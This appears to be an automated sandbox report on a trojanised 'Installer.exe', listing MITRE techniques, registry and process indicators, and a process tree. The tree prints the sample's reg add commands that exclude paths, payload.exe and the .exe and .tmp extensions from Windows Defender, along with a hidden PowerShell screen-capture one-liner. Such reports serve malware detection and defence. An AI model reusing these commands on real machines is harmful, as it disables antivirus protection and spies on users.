f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c

Analysis

max time kernel
153s
max time network
166s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 00:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer.exe
Size 168.1MB
Sample260731-anyvsshj5z
SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
MD5 df2352fff1deec3d9690c5957093130e
SHA1 1eefade8d8bc0b9f7bf1807e9b376340e8aa907c
SHA512 d5c98a909df656a48b7c389776578ce0886a544ebe0e5d5884a02f39f5780289e1deba7397941ff6839dc45a028abcd7f6c6656d3e9838d4aad2ef4d229f54fd
SSDEEP 1572864:wgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hk:cg/geeFXzGa9Fz
TLSH
T144887B03E2DA50D9F05DD1B18B979633EA72B84A4728B6DF265407162F77EE02B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4344	powershell.exe
4996	powershell.exe
5788	powershell.exe
1412	powershell.exe
4016	powershell.exe
4168	powershell.exe
3352	powershell.exe
3112	powershell.exe
4964	powershell.exe
4784	powershell.exe
1412	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
2316	payload.exe
2344	payload.exe
4932	payload.exe
5860	payload.exe
2788	payload.exe
3936	payload.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
5080	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
4964	cmd.exe
5528	rundll32.exe

Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
5080	cmd.exe
5708	cmd.exe
4564	cmd.exe
2596	cmd.exe
4292	cmd.exe
3476	cmd.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
3	ifconfig.me
1	ifconfig.me

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1600	wscript.exe
2328	wscript.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2316	payload.exe
2344	payload.exe
4932	payload.exe
5860	payload.exe
2788	payload.exe
3936	payload.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5080	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 46 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2256	cmd.exe
1808	cmd.exe
1552	cmd.exe
4264	cmd.exe
1400	cmd.exe
4504	cmd.exe
2824	cmd.exe
1932	cmd.exe
3008	cmd.exe
1380	cmd.exe
4892	cmd.exe
5884	cmd.exe
2192	cmd.exe
1684	cmd.exe
5076	cmd.exe
3392	cmd.exe
4944	cmd.exe
5964	cmd.exe
700	cmd.exe
1760	cmd.exe
3860	cmd.exe
1840	cmd.exe
2396	cmd.exe
1412	cmd.exe
2844	cmd.exe
972	cmd.exe
5300	cmd.exe
752	cmd.exe
4692	cmd.exe
684	cmd.exe
5200	cmd.exe
5380	cmd.exe
4492	cmd.exe
2264	cmd.exe
1736	cmd.exe
5216	cmd.exe
2352	cmd.exe
3076	cmd.exe
1320	cmd.exe
2680	cmd.exe
1008	cmd.exe
4668	cmd.exe
2032	cmd.exe
1272	cmd.exe
4060	cmd.exe
4776	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Installer.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4516	Installer.exe
4516	Installer.exe
4516	Installer.exe
4516	Installer.exe
4996	powershell.exe
4996	powershell.exe
4996	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
2612	WMIC.exe
2612	WMIC.exe
2612	WMIC.exe
2612	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
1344	WMIC.exe
5092	WMIC.exe
5092	WMIC.exe
5092	WMIC.exe
5092	WMIC.exe
5788	powershell.exe
5788	powershell.exe
5788	powershell.exe
3692	WMIC.exe
3692	WMIC.exe
3692	WMIC.exe
3692	WMIC.exe
4848	WMIC.exe
4848	WMIC.exe
4848	WMIC.exe
4848	WMIC.exe
3284	WMIC.exe
3284	WMIC.exe
3284	WMIC.exe
3284	WMIC.exe
2320	WMIC.exe
2320	WMIC.exe
2320	WMIC.exe
2320	WMIC.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
4964	powershell.exe
4964	powershell.exe
4964	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
1412	powershell.exe
1412	powershell.exe
1412	powershell.exe
4016	powershell.exe
4016	powershell.exe
4016	powershell.exe
1936	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4516	Installer.exe
Token: SeCreatePagefilePrivilege	4516	Installer.exe
Token: SeShutdownPrivilege	4516	Installer.exe
Token: SeCreatePagefilePrivilege	4516	Installer.exe
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeShutdownPrivilege	4516	Installer.exe
Token: SeCreatePagefilePrivilege	4516	Installer.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeIncreaseQuotaPrivilege	2612	WMIC.exe
Token: SeSecurityPrivilege	2612	WMIC.exe
Token: SeTakeOwnershipPrivilege	2612	WMIC.exe
Token: SeLoadDriverPrivilege	2612	WMIC.exe
Token: SeSystemProfilePrivilege	2612	WMIC.exe
Token: SeSystemtimePrivilege	2612	WMIC.exe
Token: SeProfSingleProcessPrivilege	2612	WMIC.exe
Token: SeIncBasePriorityPrivilege	2612	WMIC.exe
Token: SeCreatePagefilePrivilege	2612	WMIC.exe
Token: SeBackupPrivilege	2612	WMIC.exe
Token: SeRestorePrivilege	2612	WMIC.exe
Token: SeShutdownPrivilege	2612	WMIC.exe
Token: SeDebugPrivilege	2612	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2612	WMIC.exe
Token: SeRemoteShutdownPrivilege	2612	WMIC.exe
Token: SeUndockPrivilege	2612	WMIC.exe
Token: SeManageVolumePrivilege	2612	WMIC.exe
Token: 33	2612	WMIC.exe
Token: 34	2612	WMIC.exe
Token: 35	2612	WMIC.exe
Token: 36	2612	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2612	WMIC.exe
Token: SeSecurityPrivilege	2612	WMIC.exe
Token: SeTakeOwnershipPrivilege	2612	WMIC.exe
Token: SeLoadDriverPrivilege	2612	WMIC.exe
Token: SeSystemProfilePrivilege	2612	WMIC.exe
Token: SeSystemtimePrivilege	2612	WMIC.exe
Token: SeProfSingleProcessPrivilege	2612	WMIC.exe
Token: SeIncBasePriorityPrivilege	2612	WMIC.exe
Token: SeCreatePagefilePrivilege	2612	WMIC.exe
Token: SeBackupPrivilege	2612	WMIC.exe
Token: SeRestorePrivilege	2612	WMIC.exe
Token: SeShutdownPrivilege	2612	WMIC.exe
Token: SeDebugPrivilege	2612	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2612	WMIC.exe
Token: SeRemoteShutdownPrivilege	2612	WMIC.exe
Token: SeUndockPrivilege	2612	WMIC.exe
Token: SeManageVolumePrivilege	2612	WMIC.exe
Token: 33	2612	WMIC.exe
Token: 34	2612	WMIC.exe
Token: 35	2612	WMIC.exe
Token: 36	2612	WMIC.exe
Token: SeShutdownPrivilege	4516	Installer.exe
Token: SeCreatePagefilePrivilege	4516	Installer.exe
Token: SeIncreaseQuotaPrivilege	2920	WMIC.exe
Token: SeSecurityPrivilege	2920	WMIC.exe
Token: SeTakeOwnershipPrivilege	2920	WMIC.exe
Token: SeLoadDriverPrivilege	2920	WMIC.exe
Token: SeSystemProfilePrivilege	2920	WMIC.exe
Token: SeSystemtimePrivilege	2920	WMIC.exe
Token: SeProfSingleProcessPrivilege	2920	WMIC.exe
Token: SeIncBasePriorityPrivilege	2920	WMIC.exe
Token: SeCreatePagefilePrivilege	2920	WMIC.exe
Token: SeBackupPrivilege	2920	WMIC.exe
Token: SeRestorePrivilege	2920	WMIC.exe
Token: SeShutdownPrivilege	2920	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4516	Installer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4308	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4516 wrote to memory of 2192	4516	Installer.exe	88
PID 4516 wrote to memory of 1684	4516	Installer.exe	90
PID 4516 wrote to memory of 4912	4516	Installer.exe	91
PID 1684 wrote to memory of 252	1684	cmd.exe	93
PID 252 wrote to memory of 2364	252	net.exe	94
PID 4516 wrote to memory of 5924	4516	Installer.exe	95
PID 4516 wrote to memory of 5820	4516	Installer.exe	96
PID 4516 wrote to memory of 1272	4516	Installer.exe	97
PID 1272 wrote to memory of 1840	1272	cmd.exe	99
PID 4516 wrote to memory of 4292	4516	Installer.exe	100
PID 4292 wrote to memory of 4996	4292	cmd.exe	102
PID 4516 wrote to memory of 4060	4516	Installer.exe	103
PID 4060 wrote to memory of 3424	4060	cmd.exe	105
PID 3424 wrote to memory of 3196	3424	net.exe	106
PID 4516 wrote to memory of 4692	4516	Installer.exe	107
PID 4516 wrote to memory of 5964	4516	Installer.exe	108
PID 4516 wrote to memory of 2352	4516	Installer.exe	109
PID 4516 wrote to memory of 972	4516	Installer.exe	110
PID 4516 wrote to memory of 684	4516	Installer.exe	111
PID 4516 wrote to memory of 2844	4516	Installer.exe	112
PID 4516 wrote to memory of 3008	4516	Installer.exe	113
PID 4516 wrote to memory of 1552	4516	Installer.exe	114
PID 4516 wrote to memory of 1380	4516	Installer.exe	115
PID 4516 wrote to memory of 5200	4516	Installer.exe	116
PID 4516 wrote to memory of 4776	4516	Installer.exe	117
PID 4516 wrote to memory of 3076	4516	Installer.exe	118
PID 4516 wrote to memory of 4892	4516	Installer.exe	119
PID 4516 wrote to memory of 4264	4516	Installer.exe	120
PID 3076 wrote to memory of 1572	3076	cmd.exe	135
PID 2844 wrote to memory of 5304	2844	cmd.exe	136
PID 2352 wrote to memory of 1260	2352	cmd.exe	137
PID 5964 wrote to memory of 3056	5964	cmd.exe	138
PID 4692 wrote to memory of 1600	4692	cmd.exe	139
PID 1552 wrote to memory of 2596	1552	cmd.exe	140
PID 4776 wrote to memory of 4336	4776	cmd.exe	141
PID 684 wrote to memory of 5264	684	cmd.exe	142
PID 4264 wrote to memory of 1396	4264	cmd.exe	143
PID 5200 wrote to memory of 2264	5200	cmd.exe	144
PID 1380 wrote to memory of 4536	1380	cmd.exe	145
PID 972 wrote to memory of 596	972	cmd.exe	146
PID 3008 wrote to memory of 1952	3008	cmd.exe	147
PID 4892 wrote to memory of 5884	4892	cmd.exe	148
PID 4516 wrote to memory of 5380	4516	Installer.exe	149
PID 5380 wrote to memory of 2612	5380	cmd.exe	151
PID 4516 wrote to memory of 700	4516	Installer.exe	153
PID 700 wrote to memory of 2920	700	cmd.exe	195
PID 4516 wrote to memory of 1760	4516	Installer.exe	156
PID 1760 wrote to memory of 1344	1760	cmd.exe	158
PID 4516 wrote to memory of 5300	4516	Installer.exe	160
PID 5300 wrote to memory of 5092	5300	cmd.exe	162
PID 4516 wrote to memory of 3476	4516	Installer.exe	163
PID 3476 wrote to memory of 5788	3476	cmd.exe	165
PID 4516 wrote to memory of 5076	4516	Installer.exe	166
PID 5076 wrote to memory of 3692	5076	cmd.exe	168
PID 4516 wrote to memory of 752	4516	Installer.exe	169
PID 752 wrote to memory of 4848	752	cmd.exe	171
PID 4516 wrote to memory of 1320	4516	Installer.exe	172
PID 1320 wrote to memory of 3284	1320	cmd.exe	174
PID 4516 wrote to memory of 1400	4516	Installer.exe	175
PID 1400 wrote to memory of 2320	1400	cmd.exe	177
PID 4516 wrote to memory of 3860	4516	Installer.exe	178
PID 3860 wrote to memory of 3112	3860	cmd.exe	180
PID 4516 wrote to memory of 4504	4516	Installer.exe	181
PID 4504 wrote to memory of 5644	4504	cmd.exe	183

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ps -p 5844 -o comm=,ppid="
  2⤵
  - Executes a command shell one-liner
  PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2364
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1684 --field-trial-handle=1668,i,8778144624449512055,10161171479677992077,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  PID:4912
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2024 --field-trial-handle=1668,i,8778144624449512055,10161171479677992077,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:5924
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2160 --field-trial-handle=1668,i,8778144624449512055,10161171479677992077,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
  2⤵
  PID:5820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:1840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\setupapi_6473c7.png\"); $g.Dispose(); $bmp.Dispose()""
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\setupapi_6473c7.png\"); $g.Dispose(); $bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_7c24b5.vbs""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_7c24b5.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5964
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885" /t REG_DWORD /d 0 /f
    3⤵
    PID:5264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files" /t REG_DWORD /d 0 /f
    3⤵
    PID:1952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Redist\files\ms87bymnc885\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5200
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:2264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\reg.exe
